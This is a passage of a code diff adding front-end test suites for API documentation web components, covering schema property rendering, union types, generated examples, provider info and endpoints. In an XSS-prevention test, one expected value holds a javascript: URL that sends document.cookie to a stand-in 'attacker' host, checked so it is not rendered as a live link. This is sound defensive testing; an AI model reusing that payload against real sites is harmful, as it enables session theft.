getComputedStyle(name, '::after'); + assert.equal(content, '"*"', 'renders the asterisk after the name'); + + const pill = property.querySelector('.property-headline .param-pill'); + assert.ok(pill, 'renders the "required" pill'); + assert.equal(pill.textContent.trim(), 'Required', 'the pill has the label'); + }); + + it('renders a property type', async () => { + const data = loader.lookupShape(model, 'AppPerson'); + element = await basicFixture(model, data, JsonType); + + const property = element.shadowRoot.querySelector('.property-container[data-name="favouriteTime"]'); + const type = property.querySelector('.param-type'); + + assert.ok(type, 'has the type element'); + assert.equal(type.textContent.trim(), 'Time', 'the type has the value'); + }); + + it('rendering complex properties', async () => { + const data = loader.lookupShape(model, 'AppPerson'); + element = await basicFixture(model, data); + + const complexProperty = element.shadowRoot.querySelector('.property-container.complex'); + assert.ok(complexProperty, 'has a complex property'); + + const next = complexProperty.nextElementSibling; + assert.isFalse(next.classList.contains('shape-children'), 'has no children'); + + const decorator = complexProperty.querySelector('.property-decorator'); + assert.ok(decorator, 'has the decorator element'); + assert.isTrue(decorator.classList.contains('object'), 'has the object decorator'); + }); + + it('toggling complex properties', async () => { + const data = loader.lookupShape(model, 'AppPerson'); + element = await basicFixture(model, data); + + const complexProperty = element.shadowRoot.querySelector('.property-container.complex'); + const decorator = /** @type HTMLElement */ (complexProperty.querySelector('.property-decorator')); + decorator.click(); + + await nextFrame(); + + const next = complexProperty.nextElementSibling; + assert.isTrue(next.classList.contains('shape-children'), 'renders the children'); + + assert.deepEqual(element[expandedValue], [decorator.dataset.id], 'updated the [expandedValue]'); + }); + + it('renders a closed detail with a property properties', async () => { + const data = loader.lookupShape(model, 'AppPerson'); + element = await basicFixture(model, data); + + const property = element.shadowRoot.querySelector('.property-container[data-name="favouriteNumber"]'); + const detail = /** @type HTMLDetailsElement */ (property.querySelector('.property-details')); + + assert.isFalse(detail.open, 'the properties are not opened by default'); + + const properties = detail.querySelectorAll('.schema-property-item'); + assert.lengthOf(properties, 4, 'the detail has the properties'); + + assert.equal(properties[0].textContent.trim(), 'Minimum:\n 0', 'has the minimum property'); + assert.equal(properties[1].textContent.trim(), 'Maximum:\n 9999', 'has the maximum property'); + assert.equal(properties[2].textContent.trim(), 'Multiple of:\n 5', 'has the multiple property'); + assert.equal(properties[3].textContent.trim(), 'Examples:\n \n 25', 'has the example'); + }); + + it('renders properties inline when less than 3', async () => { + const data = loader.lookupShape(model, 'AppPerson'); + element = await basicFixture(model, data); + + const property = element.shadowRoot.querySelector('.property-container[data-name="name"]'); + const detail = /** @type HTMLDetailsElement */ (property.querySelector('.property-details')); + assert.notOk(detail, 'has no detail element'); + + const properties = property.querySelectorAll('.details-column > .param-properties > .schema-property-item'); + assert.lengthOf(properties, 2, 'has the properties'); + }); + + it('renders the description', async () => { + const data = loader.lookupShape(model, 'AppPerson'); + element = await basicFixture(model, data); + + const property = element.shadowRoot.querySelector('.property-container[data-name="favouriteTime"]'); + const desc = property.querySelector('.api-description'); + assert.ok(desc, 'has the property description'); + }); + + it('renders array properties', async () => { + const data = loader.lookupShape(model, 'PropertyArray'); + element = await basicFixture(model, data); + + const property = element.shadowRoot.querySelector('.property-container[data-name="data"]'); + + const type = property.querySelector('.param-type'); + assert.equal(type.textContent.trim(), 'List of Product', 'renders the schema type'); + }); + + it('renders array property that is an complex', async () => { + const data = loader.lookupShape(model, 'PropertyArray'); + element = await basicFixture(model, data); + + const property = element.shadowRoot.querySelector('.property-container[data-name="complex"]'); + + const type = property.querySelector('.param-type'); + assert.equal(type.textContent.trim(), 'List of String or Number or Product', 'renders the schema type'); + }); + + it('renders a union property', async () => { + const data = loader.lookupShape(model, 'PropertyArray'); + element = await basicFixture(model, data); + + const property = element.shadowRoot.querySelector('.property-container[data-name="complex"]'); + const decorator = /** @type HTMLElement */ (property.querySelector('.property-decorator')); + decorator.click(); + + await nextFrame(); + + const children = element.shadowRoot.querySelector('.shape-children'); + assert.ok(children, 'has children'); + + const selector = children.querySelector('.union-options'); + assert.ok(selector, 'has union selector'); + + const buttons = selector.querySelectorAll('anypoint-radio-button'); + assert.lengthOf(buttons, 3, 'has all 3 options'); + + const defaultRendered = children.querySelector('.union-container .scalar-property'); + assert.ok(defaultRendered, 'has the rendered property'); + assert.equal(defaultRendered.querySelector('.param-type').textContent.trim(), 'String', 'has the scalar type'); + + /** @type HTMLElement */ (buttons[2]).click(); + + await nextFrame(); + + const objectRendered = children.querySelector('.union-container .params-section'); + assert.ok(objectRendered, 'renders selected union object'); + }); + }); + + describe('Union type (RAML)', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + beforeEach(async () => { + const data = loader.lookupShape(model, 'Unionable'); + element = await basicFixture(model, data, JsonType); + }); + + it('renders the union selector', () => { + const container = element.shadowRoot.querySelector(':host > .union-container'); + assert.ok(container, 'has the selector\'s container'); + + const selector = container.querySelector('.union-options'); + assert.ok(selector, 'has union selector'); + + const buttons = selector.querySelectorAll('anypoint-radio-button'); + assert.lengthOf(buttons, 2, 'has all 2 options'); + + assert.equal(buttons[0].textContent.trim(), 'ErrorResource', 'has the ErrorResource option'); + assert.equal(buttons[1].textContent.trim(), 'Product', 'has the Product option'); + }); + + it('renders union default selection', () => { + const container = element.shadowRoot.querySelector(':host > .union-container'); + assert.ok(container, 'has the selector\'s container'); + + const button = /** @type AnypointRadioButtonElement */ (container.querySelector('.union-options anypoint-radio-button')); + assert.isTrue(button.checked, 'the first union item is checked'); + + const properties = container.querySelectorAll('.params-section .schema-property-item'); + assert.lengthOf(properties, 2, 'has all properties'); + }); + + it('changes the selection', async () => { + const container = element.shadowRoot.querySelector(':host > .union-container'); + + const button = /** @type AnypointRadioButtonElement */ (container.querySelector('.union-options anypoint-radio-button[data-member="Product"]')); + button.click(); + + await nextFrame(); + + const properties = container.querySelectorAll('.params-section .schema-property-item'); + assert.lengthOf(properties, 7, 'renders properties for another member'); + }); + + it('renders the default example', async () => { + element.forceExamples = true; + element.processGraph(); + + await nextFrame(); + + const code = element.shadowRoot.querySelector(':host .examples code'); + const txt = code.textContent.trim(); + const data = JSON.parse(txt); + + assert.deepEqual(data, { + "error": true, + "message": "" + }); + }); + + it('renders the example for the changed member', async () => { + element.forceExamples = true; + element.processGraph(); + + const container = element.shadowRoot.querySelector(':host > .union-container'); + + const button = /** @type AnypointRadioButtonElement */ (container.querySelector('.union-options anypoint-radio-button[data-member="Product"]')); + button.click(); + + await nextFrame(); + + const code = element.shadowRoot.querySelector(':host .examples code'); + const txt = code.textContent.trim(); + const data = JSON.parse(txt); + + assert.deepEqual(data, { + "etag": "", + "upc": "042100005264", + "name": "Acme product - menthol flavor, 500 ml.", + "id": "", + "unit": "ml", + "available": true, + "quantity": 500 + }); + }); + }); + + describe('Union property (RAML)', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + /** @type HTMLElement */ + let container; + beforeEach(async () => { + const data = loader.lookupShape(model, 'PropertyArray'); + element = await basicFixture(model, data, JsonType); + + const property = element.shadowRoot.querySelector('.property-container[data-name="complex"]'); + const decorator = /** @type HTMLElement */ (property.querySelector('.property-decorator')); + decorator.click(); + + await nextFrame(); + + container = /** @type HTMLElement */ (property.nextElementSibling); + }); + + it('renders the union selector', () => { + const selector = container.querySelector('.union-options'); + assert.ok(selector, 'has union selector'); + + const buttons = selector.querySelectorAll('anypoint-radio-button'); + assert.lengthOf(buttons, 3, 'has all 2 options'); + + assert.equal(buttons[0].textContent.trim(), 'String', 'has the ErrorResource option'); + assert.equal(buttons[1].textContent.trim(), 'Number', 'has the Product option'); + assert.equal(buttons[2].textContent.trim(), 'Product', 'has the Product option'); + }); + + it('renders union default selection', () => { + const button = /** @type AnypointRadioButtonElement */ (container.querySelector('.union-options anypoint-radio-button')); + assert.isTrue(button.checked, 'the first union item is checked'); + + const node = container.querySelector('.params-section .scalar-property'); + assert.ok(node, 'has the scalar property'); + }); + + it('changes the selection', async () => { + const button = /** @type AnypointRadioButtonElement */ (container.querySelector('.union-options anypoint-radio-button[data-member="Product"]')); + button.click(); + + await nextFrame(); + + const properties = container.querySelectorAll('.params-section .schema-property-item'); + assert.lengthOf(properties, 7, 'renders properties for another member'); + }); + + it('renders the default example', async () => { + element.forceExamples = true; + element.processGraph(); + + await nextFrame(); + + const code = element.shadowRoot.querySelector(':host .examples code'); + const txt = code.textContent.trim(); + const data = JSON.parse(txt); + + assert.deepEqual(data.complex, ['']); + }); + + it('renders the example for the changed member', async () => { + element.forceExamples = true; + element.processGraph(); + + const button = /** @type AnypointRadioButtonElement */ (container.querySelector('.union-options anypoint-radio-button[data-member="Product"]')); + button.click(); + + await nextFrame(); + + const code = element.shadowRoot.querySelector(':host .examples code'); + const txt = code.textContent.trim(); + const data = JSON.parse(txt); + + assert.deepEqual(data.complex, [{ + "id": "we2322-4f4f4f-f4f4ff-f4f4ff4", + "name": "Acme Product", + "quantity": 200, + "unit": "ml", + "upc": "123456789101", + "available": true, + "etag": "Wsd3deef3rgrgf4r" + }]); + }); + }); + + describe('Array type', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + beforeEach(async () => { + const data = loader.lookupShape(model, 'ArrayType'); + element = await examplesFixture(model, data, JsonType); + }); + + it('renders array example', () => { + const code = element.shadowRoot.querySelector(':host .examples code'); + const txt = code.textContent.trim(); + const data = JSON.parse(txt); + + assert.typeOf(data, 'array'); + const [item] = data; + + assert.deepEqual(item, { + "url": "https://domain.com/profile/pawel.psztyc/image", + "thumb": "https://domain.com/profile/pawel.psztyc/image/thumb" + }); + }); + + it('renders "items" title', () => { + const label = element.shadowRoot.querySelector(':host > .params-section .schema-property-label'); + /* + * This looks like some issue with AMF graph model as this should render "image" and not "imageProperty". + * However in the graph model it is in fact "imageProperty". This may be related to another type having + * an "imageProperty" which references the "Image" type. I suspect for some kind of optimisation + * these type is referenced only once but the name changed after referencing it again. + */ + assert.equal(label.textContent.trim(), 'List of imageProperty'); + }); + + it('renders "items" properties', () => { + const properties = element.shadowRoot.querySelectorAll(':host > .params-section > .params-section .property-container'); + assert.lengthOf(properties, 2, 'has 2 properties'); + + // here I am testing only one property as this is recursive. + const url = properties[0]; + assert.equal(url.querySelector('.param-label').textContent.trim(), 'url'); + assert.equal(url.querySelector('.param-type').textContent.trim(), 'String'); + assert.equal(url.querySelector('.param-pill').textContent.trim(), 'Required'); + assert.ok(url.querySelector('.api-description arc-marked'), 'Renders the description'); + assert.equal(url.querySelector('.details-column').textContent.trim(), '', 'has no properties'); + }); + }); + + describe('And type (OAS)', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'Petstore-v2'); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + beforeEach(async () => { + const data = loader.lookupShape(model, 'Pet'); + element = await examplesFixture(model, data, JsonType); + }); + + it('renders a group for each member', () => { + const sections = element.shadowRoot.querySelectorAll('.and-union-member'); + assert.lengthOf(sections, 3, 'has 3 members rendered'); + }); + + it('does not render inheritance info for inline items', () => { + const sections = element.shadowRoot.querySelectorAll('.and-union-member'); + const inline = sections[0]; + assert.notOk(inline.querySelector('.inheritance-label')); + }); + + it('renders inheritance info for members', () => { + const sections = element.shadowRoot.querySelectorAll('.and-union-member'); + const newPet = sections[1]; + const error = sections[2]; + assert.equal(newPet.querySelector('.inheritance-label').textContent.trim(), 'Properties inherited from NewPet.'); + assert.equal(error.querySelector('.inheritance-label').textContent.trim(), 'Properties inherited from Error.'); + }); + + it('renders combined example', () => { + const code = element.shadowRoot.querySelector(':host .examples code'); + const txt = code.textContent.trim(); + const data = JSON.parse(txt); + + assert.deepEqual(data, { + "name": "", + "tag": "", + "code": 0, + "message": "", + "id": 0, + "test": "" + }); + }); + }); + + describe('Recursive properties', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + beforeEach(async () => { + const data = loader.lookupShape(model, 'RecursiveShape'); + element = await examplesFixture(model, data, JsonType); + }); + + it('renders the recursive pill in the property', () => { + const container = element.shadowRoot.querySelector('.property-container[data-name="relatedTo"]'); + const pill = container.querySelector('.details-column .param-pill'); + assert.ok(pill, 'has the pill'); + assert.isTrue(pill.classList.contains('warning'), 'the pill has the warning class'); + assert.equal(pill.textContent.trim(), 'Recursive', 'the pill has the content'); + }); + + it('ignores recursive types in the generated example', () => { + const code = element.shadowRoot.querySelector(':host .examples code'); + const txt = code.textContent.trim(); + const data = JSON.parse(txt); + + assert.deepEqual(data, { + id: "" + }); + }); + }); + + describe('File shape', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + + it('renders the file shape', async () => { + const data = loader.lookupShape(model, 'FileType'); + element = await examplesFixture(model, data, JsonType); + + const detail = /** @type HTMLDetailsElement */ (element.shadowRoot.querySelector('.property-details')); + assert.notOk(detail, 'has no detail element'); + + const props = element.shadowRoot.querySelectorAll('.schema-property-item'); + assert.lengthOf(props, 3, 'has all file properties'); + + assert.equal(props[0].querySelector('.schema-property-label').textContent.trim(), 'File types:'); + assert.equal(props[0].querySelector('.schema-property-value').textContent.trim(), 'application/mulesoft+modeling, application/data-model'); + + assert.equal(props[1].querySelector('.schema-property-label').textContent.trim(), 'Minimum length:'); + assert.equal(props[1].querySelector('.schema-property-value').textContent.trim(), '1024'); + + assert.equal(props[2].querySelector('.schema-property-label').textContent.trim(), 'Maximum length:'); + assert.equal(props[2].querySelector('.schema-property-value').textContent.trim(), '2048'); + }); + + it('renders the file property', async () => { + const data = loader.lookupShape(model, 'FilePropertyType'); + element = await examplesFixture(model, data, JsonType); + + const container = element.shadowRoot.querySelector('.property-container[data-name="filetype"]'); + + assert.equal(container.querySelector('.param-label').textContent.trim(), 'filetype'); + assert.equal(container.querySelector('.param-type').textContent.trim(), 'File'); + + const props = element.shadowRoot.querySelectorAll('.schema-property-item'); + assert.lengthOf(props, 3, 'has all file properties'); + + assert.equal(props[0].querySelector('.schema-property-label').textContent.trim(), 'File types:'); + assert.equal(props[0].querySelector('.schema-property-value').textContent.trim(), 'image/png, image/jpeg'); + + assert.equal(props[1].querySelector('.schema-property-label').textContent.trim(), 'Minimum length:'); + assert.equal(props[1].querySelector('.schema-property-value').textContent.trim(), '100'); + + assert.equal(props[2].querySelector('.schema-property-label').textContent.trim(), 'Maximum length:'); + assert.equal(props[2].querySelector('.schema-property-value').textContent.trim(), '300'); + }); + }); + }); + + describe('Read only properties', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'read-only-properties'); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + beforeEach(async () => { + const data = loader.lookupShape(model, 'Article'); + element = await basicFixture(model, data); + }); + + it('renders the readonly property by default', () => { + const property = element.shadowRoot.querySelector('.property-container[data-name="id"]'); + assert.ok(property, 'has the property'); + + const pill = property.querySelector('.param-pill'); + assert.ok(pill, 'has the read-only pill'); + assert.equal(pill.textContent.trim(), 'Read only', 'pill has the label'); + }); + + it('does not render the readonly property when configured', async () => { + element.noReadOnly = true; + await nextFrame(); + + const property = element.shadowRoot.querySelector('.property-container[data-name="id"]'); + assert.notOk(property, 'the property is not rendered'); + }); + }); + + describe('APIC-631', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'APIC-631'); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + + it('renders first union options as "List of String"', async () => { + const data = loader.lookupShape(model, 'test2'); + element = await basicFixture(model, data); + + const firstToggle = element.shadowRoot.querySelector('.union-toggle'); + assert.equal(firstToggle.textContent.trim().toLowerCase(), 'list of string'); + }); + + it('does not render name for inline type', async () => { + const data = loader.lookupShape(model, 'test3'); + element = await basicFixture(model, data); + + const propertyName = element.shadowRoot.querySelector('.param-label'); + assert.notExists(propertyName); + + const propertyType = element.shadowRoot.querySelector('.schema-property-label'); + assert.equal(propertyType.textContent.trim(), 'List of String'); + }); + + it('renders "List of Number" data type', async () => { + const data = loader.lookupShape(model, 'test8'); + element = await basicFixture(model, data); + + const property = element.shadowRoot.querySelector('.property-container[data-name="names8"]'); + const dataType = property.querySelector('.param-type'); + assert.equal(dataType.textContent.trim(), 'List of Number'); + }); + }); + + describe('AAP-1698', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'aap-1698'); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + beforeEach(async () => { + const [payload] = loader.getPayloads(model, '/not-working', 'post'); + const { schema } = payload; + element = await schemaFixture(model, schema, JsonType); + }); + + it('renders enum values with the array property', () => { + // this has only one property + const property = element.shadowRoot.querySelector('.params-section .schema-property-item'); + const list = property.querySelector('.enum-items'); + assert.ok(list, 'renders the list'); + assert.equal(list.children[0].textContent.trim(), 'lookup'); + assert.equal(list.children[1].textContent.trim(), 'ml'); + assert.equal(list.children[2].textContent.trim(), 'fasttext'); + }); + + it('renders an example with enum value', () => { + const code = element.shadowRoot.querySelector(':host .examples code'); + const txt = code.textContent.trim(); + const data = JSON.parse(txt); + + assert.deepEqual(data.mappers, ["lookup"]); + }); + }); + + describe('APIC-332', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'APIC-332'); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + beforeEach(async () => { + const [payload] = loader.getPayloads(model, '/organization', 'post'); + const { schema } = payload; + element = await schemaFixture(model, schema, JsonType); + }); + + it('renders description for an example', () => { + const description = /** @type HTMLElement */ (element.shadowRoot.querySelector('.example-description')); + assert.equal(description.innerText, 'This description for the example is never shown'); + }); + }); + }); + }); +}); diff --git a/test/elements/ApiSummaryElement.test.js b/test/elements/ApiSummaryElement.test.js new file mode 100644 index 0000000..c1bdec1 --- /dev/null +++ b/test/elements/ApiSummaryElement.test.js @@ -0,0 +1,502 @@ +import { fixture, assert, nextFrame, html, aTimeout } from '@open-wc/testing'; +import { endpointsValue } from '../../src/elements/ApiSummaryElement.js'; +import { AmfLoader } from '../AmfLoader.js'; +import '../../api-summary.js'; + +/** @typedef {import('../../').ApiSummaryElement} ApiSummaryElement */ +/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */ +/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ + +describe('ApiSummaryElement', () => { + const loader = new AmfLoader(); + + /** + * @param {AmfDocument} amf + * @returns {Promise} + */ + async function modelFixture(amf) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiSummaryElement */ (element); + } + + [false, true].forEach((compact) => { + describe(compact ? 'Compact model' : 'Full model', () => { + describe('Basic', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSummaryElement */ + let element; + beforeEach(async () => { + element = await modelFixture(model); + }); + + it('renders api title', () => { + const node = element.shadowRoot.querySelector('[role="heading"]'); + assert.dom.equal(node, `
    + + + API body demo + +
    `); + }); + + it('renders version', () => { + const node = element.shadowRoot.querySelector('.inline-description.version span'); + assert.dom.equal(node, 'v1'); + }); + + it('renders protocols', () => { + const node = element.shadowRoot.querySelector('.protocol-chips'); + assert.dom.equal( + node, + `
    + + HTTP + + + HTTPS + +
    ` + ); + }); + + it('renders description', () => { + const node = element.shadowRoot.querySelector('arc-marked .markdown-body'); + const content = node.innerHTML.trim(); + assert.ok(content, 'has description'); + const strong = node.querySelector('strong'); + assert.dom.equal( + strong, + 'markdown', + { ignoreAttributes: ['class'] }, + ); + const anchor = node.querySelector('a'); + assert.dom.equal( + anchor, + 'evil markdown', + { ignoreAttributes: ['class'] }, + ); + }); + + it('renders base uri', () => { + const node = element.shadowRoot.querySelector('.url-value'); + assert.equal(node.textContent.trim(), `http://{instance}.domain.com`); + }); + + it('renders endpoints template', () => { + const node = element.shadowRoot.querySelector('.endpoints-title'); + assert.dom.equal(node, ``); + }); + }); + + describe('OAS properties', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'loan-microservice'); + }); + + /** @type ApiSummaryElement */ + let element; + beforeEach(async () => { + element = await modelFixture(model); + }); + + + it('provider section is rendered', () => { + const node = element.shadowRoot.querySelector('[role="contentinfo"]'); + assert.ok(node); + }); + + it('renders provider name', () => { + const node = element.shadowRoot.querySelector('[role="contentinfo"] .provider-name'); + assert.dom.equal(node, `John Becker`); + }); + + it('renders provider email', () => { + const node = element.shadowRoot.querySelector('[role="contentinfo"] .provider-email'); + assert.dom.equal( + node, + ` + JohnBecker@cognizant.com + ` + ); + }); + + it('renders provider url', () => { + const node = element.shadowRoot.querySelector('[role="contentinfo"] .provider-url'); + assert.dom.equal( + node, + `http://domain.com` + ); + }); + + it('renders license region', () => { + const node = element.shadowRoot.querySelector('[aria-labelledby="licenseLabel"]'); + assert.ok(node); + }); + + it('renders license link', () => { + const node = element.shadowRoot.querySelector('[aria-labelledby="licenseLabel"] a'); + assert.dom.equal( + node, + ` + Apache 2.0 + ` + ); + }); + + it('Renders ToS region', () => { + const node = element.shadowRoot.querySelector('[aria-labelledby="tocLabel"]'); + assert.ok(node); + }); + }); + + describe('Prevent XSS attacks', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'prevent-xss'); + }); + + /** @type ApiSummaryElement */ + let element; + beforeEach(async () => { + element = await modelFixture(model); + }); + + it('provider section is rendered', () => { + const node = element.shadowRoot.querySelector('[role="contentinfo"]'); + assert.ok(node); + }); + + it('renders provider name', () => { + const node = element.shadowRoot.querySelector('[role="contentinfo"] .provider-name'); + assert.dom.equal(node, `Wally`); + }); + + it('renders provider email', () => { + const node = element.shadowRoot.querySelector('[role="contentinfo"] .provider-email'); + assert.dom.equal( + node, + ` + wallythebest@wally.com + ` + ); + }); + + it('renders provider url without malicious href', () => { + const node = element.shadowRoot.querySelector('[role="contentinfo"] .provider-url'); + assert.dom.equal( + node, + ` + javascript:window.location='http://attacker/?cookie='+document.cookie` + ); + }); + + it('renders license region', () => { + const node = element.shadowRoot.querySelector('[aria-labelledby="licenseLabel"]'); + assert.ok(node); + }); + + it('renders license without malicious href', () => { + const node = element.shadowRoot.querySelector('[aria-labelledby="licenseLabel"] a'); + assert.dom.equal( + node, + ` + I swear if you click below you will have the most amazing experience ever. I promise. + ` + ); + }); + + it('Renders ToS region', () => { + const node = element.shadowRoot.querySelector('[aria-labelledby="tocLabel"]'); + assert.ok(node); + }); + }); + + describe('Endpoints rendering', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSummaryElement */ + let element; + beforeEach(async () => { + element = await modelFixture(model); + }); + + it('adds separator', () => { + const node = element.shadowRoot.querySelector('.separator'); + assert.ok(node); + }); + + it('renders all endpoints', () => { + const nodes = element.shadowRoot.querySelectorAll('.endpoint-item'); + assert.lengthOf(nodes, 70); + }); + + it('renders endpoint name', () => { + const node = element.shadowRoot.querySelectorAll('.endpoint-item')[2].querySelector('.endpoint-path'); + assert.dom.equal( + node, + ` + People + `, + { + ignoreAttributes: ['data-id'] + } + ); + }); + + it('sets data-id on name', () => { + const node = element.shadowRoot.querySelectorAll('.endpoint-item')[2].querySelector('.endpoint-path'); + assert.ok(node.getAttribute('data-id')); + }); + + it('renders endpoint path with name', () => { + const node = element.shadowRoot.querySelectorAll('.endpoint-item')[2].querySelector('.endpoint-path-name'); + assert.dom.equal(node, `

    /people

    `, { + ignoreAttributes: ['data-id'] + }); + }); + + it('sets data-id on path', () => { + const node = element.shadowRoot.querySelectorAll('.endpoint-item')[2].querySelector('.endpoint-path'); + assert.ok(node.getAttribute('data-id')); + }); + + it('renders list of operations', () => { + const nodes = element.shadowRoot.querySelectorAll('.endpoint-item')[2].querySelectorAll('.method-label'); + assert.lengthOf(nodes, 3); + }); + + it('renders operation method', () => { + const node = element.shadowRoot.querySelectorAll('.endpoint-item')[2].querySelector('.method-label'); + assert.dom.equal( + node, + `get`, + { + ignoreAttributes: ['data-id'] + } + ); + }); + + it('dispatches the navigation event from the endpoint node', (done) => { + const node = element.shadowRoot.querySelector(`.endpoint-path[data-id]`); + element.addEventListener('api-navigation-selection-changed', (e) => { + // @ts-ignore + const {detail} = e; + assert.typeOf(detail.selected, 'string'); + assert.equal(detail.type, 'endpoint'); + done(); + }); + /** @type HTMLElement */ (node).click(); + }); + + it('dispatches the navigation event from the endpoint path', (done) => { + const node = element.shadowRoot.querySelector(`.endpoint-path[data-id]`); + element.addEventListener('api-navigation-selection-changed', (e) => { + // @ts-ignore + const {detail} = e; + assert.typeOf(detail.selected, 'string'); + assert.equal(detail.type, 'endpoint'); + done(); + }); + /** @type HTMLElement */ (node).click(); + }); + + it('dispatches the navigation event from the operation click', (done) => { + const node = element.shadowRoot.querySelector(`.method-label[data-id]`); + element.addEventListener('api-navigation-selection-changed', (e) => { + // @ts-ignore + const {detail} = e; + assert.typeOf(detail.selected, 'string'); + assert.equal(detail.type, 'method'); + done(); + }); + /** @type HTMLElement */ (node).click(); + }); + }); + + describe('Server rendering', () => { + /** @type AmfDocument */ + let ramlSingleServerAmf; + /** @type AmfDocument */ + let oasMultipleServersAmf; + /** @type AmfDocument */ + let oasMultipleServersWithDescriptionAmf; + /** @type AmfDocument */ + let noServersAmf; + before(async () => { + ramlSingleServerAmf = await loader.getGraph(compact); + oasMultipleServersAmf = await loader.getGraph(compact, 'multi-server'); + oasMultipleServersWithDescriptionAmf = await loader.getGraph(compact, 'APIC-641'); + noServersAmf = await loader.getGraph(compact, 'no-server'); + }); + + it('renders URL area with a single server', async () => { + const element = await modelFixture(ramlSingleServerAmf); + const node = element.shadowRoot.querySelector('.endpoint-url'); + assert.ok(node); + }); + + it('renders single server URL', async () => { + const element = await modelFixture(ramlSingleServerAmf); + const node = element.shadowRoot.querySelector('.url-value'); + assert.equal(node.textContent.trim(), 'http://{instance}.domain.com'); + }); + + it('renders multiple servers', async () => { + const element = await modelFixture(oasMultipleServersAmf); + const node = element.shadowRoot.querySelector('.servers'); + assert.ok(node); + }); + + it('renders multiple URLs', async () => { + const element = await modelFixture(oasMultipleServersAmf); + const nodes = element.shadowRoot.querySelectorAll('.server-lists li'); + assert.lengthOf(nodes, 4, 'has 4 servers'); + assert.equal(nodes[0].textContent.trim(), 'https://{customerId}.saas-app.com:{port}/v2'); + assert.equal(nodes[1].textContent.trim(), 'https://{region}.api.cognitive.microsoft.com'); + assert.equal(nodes[2].textContent.trim(), 'https://api.openweathermap.org/data/2.5'); + assert.equal(nodes[3].textContent.trim(), 'http://beta.api.openweathermap.org/data/2.5'); + }); + + it('does not render URL area when no servers', async () => { + const element = await modelFixture(noServersAmf); + const urlNode = element.shadowRoot.querySelector('.url-area'); + assert.notOk(urlNode); + const serversNode = element.shadowRoot.querySelector('.servers'); + assert.notOk(serversNode); + }); + + it('renders multiple URLs with descriptions', async () => { + const element = await modelFixture(oasMultipleServersWithDescriptionAmf); + const nodes = element.shadowRoot.querySelectorAll('.server-lists li'); + assert.lengthOf(nodes, 4, 'has 4 servers'); + assert.equal(nodes[0].textContent.trim(), 'https://api.aws-west-prd.capgroup.com/cdp-proxy/profiles'); + assert.equal(nodes[0].querySelector('arc-marked').markdown, 'MuleSoft PROD'); + assert.equal(nodes[1].textContent.trim(), 'https://api.aws-west-snp.capgroup.com/cdp-proxy-e2e/profiles'); + assert.equal(nodes[1].querySelector('arc-marked').markdown, 'MuleSoft UAT (for enterprise consumers)'); + assert.equal(nodes[2].textContent.trim(), 'https://api.aws-west-oz.capgroup.com/cdp-proxy-ite2/profiles'); + assert.equal(nodes[2].querySelector('arc-marked').markdown, 'MuleSoft QA (for enterprise consumers)'); + assert.equal(nodes[3].textContent.trim(), 'https://api.aws-west-oz.capgroup.com/cdp-proxy-dev2/profiles'); + assert.notOk(nodes[3].querySelector('arc-marked')); + }); + }); + + describe('AsyncAPI', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'async-api'); + }); + + /** @type ApiSummaryElement */ + let element; + beforeEach(async () => { + element = await modelFixture(model); + }); + + it('renders server uri for API', () => { + const node = element.shadowRoot.querySelector('.url-value'); + assert.equal(node.textContent.trim(), 'amqp://broker.mycompany.com'); + }); + + it('renders "API channels" message', () => { + assert.equal(element.shadowRoot.querySelector('.section.endpoints-title').textContent, 'API channels'); + }); + }); + + describe('hideToc', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSummaryElement */ + let element; + beforeEach(async () => { + element = await modelFixture(model); + element.setAttribute('hideToc', 'true'); + await nextFrame(); + }); + + it('does not render endpoints template', () => { + const node = element.shadowRoot.querySelector('.toc'); + assert.isNull(node); + }); + }); + + describe('Rendering for library', () => { + /** @type AmfDocument */ + let libraryModel; + /** @type AmfDocument */ + let apiModel; + before(async () => { + libraryModel = await loader.getGraph(compact, 'APIC-711'); + apiModel = await loader.getGraph(compact); + }); + + /** @type ApiSummaryElement */ + let element; + beforeEach(async () => { + element = await modelFixture(apiModel); + }); + + it('clears everything when changing to RAML library', async () => { + element.amf = libraryModel; + await aTimeout(0); + assert.isUndefined(element.summary); + assert.isUndefined(element.servers); + assert.isUndefined(element[endpointsValue]); + }); + }); + }); + }); + + describe('a11y', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(true, 'loan-microservice'); + }); + + /** @type ApiSummaryElement */ + let element; + beforeEach(async () => { + element = await modelFixture(model); + }); + + it('passes accessibility test', async () => { + await assert.isAccessible(element, { + ignoredRules: ['color-contrast'] + }); + }); + }); +}); diff --git a/test/api-documentation.test.js 